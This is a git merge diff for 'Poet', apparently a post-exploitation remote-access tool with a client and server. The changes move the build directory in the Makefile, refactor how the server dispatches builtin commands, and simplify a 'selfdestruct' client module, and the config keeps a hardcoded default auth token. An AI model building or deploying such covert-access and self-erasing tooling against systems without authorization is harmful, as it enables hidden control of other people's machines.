Merge branch 'develop'

Makefile

@@ -1,4 +1,5 @@
-COMMON = $(wildcard common/*.py common/modules/*.py)
+DIR = poet
+COMMON = $(wildcard $(DIR)/*.py $(DIR)/modules/*.py)
 COMMON := $(subst py,pyo,$(COMMON))
 OUT = bin/ bin/poet-client bin/poet-server
 
@@ -11,26 +12,26 @@ PYCC = python2.7 -OO -m py_compile
 
 default: $(OUT)
 
-# for debugging, just place the main files into the common/ directory, then
+# for debugging, just place the main files into the $(DIR)/ directory, then
 # cd into that directory and execute the client and server. can't debug
 # "production" builds because debug info is stripped from them
 dbg:
-	cp client.py common
-	cp server.py common
-	ls -1 common/modules |grep -Ev 'py[oc]' |grep -v __init__ > common/modindex.txt
+	cp client.py $(DIR)
+	cp server.py $(DIR)
+	ls -1 $(DIR)/modules |grep -Ev 'py[oc]' |grep -v __init__ > $(DIR)/modindex.txt
 
 bin:
 	mkdir -p $@
 
 bin/poet-client: client.pyo $(COMMON)
 # main file needs to be named __main__.py(c/o) for zip file packaging to work
-	cp $< common/__main__.pyo
+	cp $< $(DIR)/__main__.pyo
 
 # create module index file, so client/server know what to load at runtime
-	ls -1 common/modules |grep -v pyo |grep -v __init__ > common/modindex.txt
+	ls -1 $(DIR)/modules |grep -v pyo |grep -v __init__ > $(DIR)/modindex.txt
 
 # zip everything up. -r : zip file destination
-	cd common && $(ZIP) -r ../$@ *.pyo modindex.txt modules/*.pyo
+	cd $(DIR) && $(ZIP) -r ../$@ *.pyo modindex.txt modules/*.pyo
 
 # get rid of auto-appended .zip extension
 	mv $@.zip $@
@@ -45,9 +46,9 @@ bin/poet-client: client.pyo $(COMMON)
 
 bin/poet-server: server.pyo $(COMMON)
 # exact same stuff as above
-	cp $< common/__main__.pyo
-	ls -1 common/modules |grep -v pyo |grep -v __init__ > common/modindex.txt
-	cd common && $(ZIP) -r ../$@ *.pyo modindex.txt modules/*.pyo
+	cp $< $(DIR)/__main__.pyo
+	ls -1 $(DIR)/modules |grep -v pyo |grep -v __init__ > $(DIR)/modindex.txt
+	cd $(DIR) && $(ZIP) -r ../$@ *.pyo modindex.txt modules/*.pyo
 	mv $@.zip $@
 	mv $@ .tmp
 	echo "#!/usr/bin/env python2.7" > $@
@@ -61,10 +62,10 @@ bin/poet-server: server.pyo $(COMMON)
 clean:
 	rm -rf bin
 	rm -f *.pyo
-	rm -f common/__main__.py common/modindex.txt
-	rm -f common/client.py common/server.py
-	rm -f common/*.pyo common/*.pyc
-	rm -f common/modules/*.pyo common/modules/*.pyc
+	rm -f $(DIR)/__main__.py $(DIR)/modindex.txt
+	rm -f $(DIR)/client.py $(DIR)/server.py
+	rm -f $(DIR)/*.pyo $(DIR)/*.pyc
+	rm -f $(DIR)/modules/*.pyo $(DIR)/modules/*.pyc
 
 squeaky:
 	$(MAKE) clean

Testing.mk

@@ -11,8 +11,8 @@ DELAY = 1
 PORT = -p 8081
 PYTHON = python2.7
 
-CL = common/client.py
-SV = common/server.py
+CL = poet/client.py
+SV = poet/server.py
 
 # debug mode helpers
 

client.py

@@ -158,6 +158,8 @@ def is_active(host, port):
         f = urllib2.urlopen(req)
         if f.code == 200:
             return True
+        # shouldn't get here
+        return False
     except urllib2.URLError:
         return False
 

common/config.py → poet/config.py

@@ -2,7 +2,7 @@
 # Poet Configurations
 #
 
-# client authentication token
+# default client authentication token. change this to whatever you want!
 AUTH = 'b9c39a336bb97a9c9bda2b82bdaacff3'
 
 # directory to save output files to

common/modules/selfdestruct.py → poet/modules/selfdestruct.py

@@ -30,10 +30,7 @@ def server(server, argv):
 
 
 @module.client_handler(MODNAME)
-def client(server, argv):
-    try:
-        server.selfdestruct()
-        server.s.send('boom')
-        sys.exit()
-    except Exception as e:
-        server.s.send(str(e.message))
+def client(client, argv):
+    client.selfdestruct()
+    client.s.send('boom')
+    sys.exit()

server.py

@@ -52,8 +52,11 @@ class PoetServer(object):
     def __init__(self, s):
         self.s = s
         self.conn = None
-        self.builtins = ['exit', 'help']
-        # exists so modules can stop server (used by selfdestruct)
+        self.builtins = {
+            'exit': self._builtin_exit,
+            'help': self._builtin_help
+        }
+        # exists so modules can stop server (used by selfdestruct and exit)
         self.continue_ = True
 
     def start(self):
@@ -65,40 +68,23 @@ def start(self):
         print 'Running `help\' will give you a list of supported commands.'
         while True:
             try:
-                found = False
                 argv = raw_input(POSH_PROMPT).split()
-
-                #
-                # builtins
-                #
-
-                if argv == []:
+                if not argv:
                     continue
-                if argv[0] == 'exit':
-                    break
-                elif argv[0] == 'help':
-                    found = True
-                    print 'Commands:\n  {}'.format('\n  '.join(sorted(self.builtins + module.server_commands.keys())))
-
-                #
-                # modules
-                #
-
-                # try to find command in registered modules
-                for cmd, func in module.server_commands.iteritems():
-                    if argv[0] == cmd:
-                        found = True
-                        try:
-                            func(self, argv)
-                        except Exception as e:
-                            self.info(str(e.args))
+
+                if argv[0] in self.builtins:
+                    self.builtins[argv[0]](argv)
+                elif argv[0] in module.server_commands:
+                    try:
+                        module.server_commands[argv[0]](self, argv)
+                    except Exception as e:
+                        self.info(str(e.args))
+                else:
+                    self.info('{}: command not found'.format(argv[0]))
 
                 # see comment above for self.continue_ for why this is here
                 if not self.continue_:
-                    return
-
-                if not found:
-                    self.info('{}: command not found'.format(argv[0]))
+                    break
             except KeyboardInterrupt:
                 print
                 continue
@@ -194,6 +180,15 @@ def exec_preproc(self, inp):
             del tmp[1]
         tmp = ' '.join(tmp)
         return tmp, write_flag, write_file
+
+    def _builtin_exit(self, argv):
+        self.continue_ = False
+
+    def _builtin_help(self, argv):
+        print 'Builtins:\n  {}'.format('\n  '.join(sorted(self.builtins.keys())))
+        print
+        print 'Commands:\n  {}'.format('\n  '.join(sorted(module.server_commands.keys())))
+
 
 
 def get_args():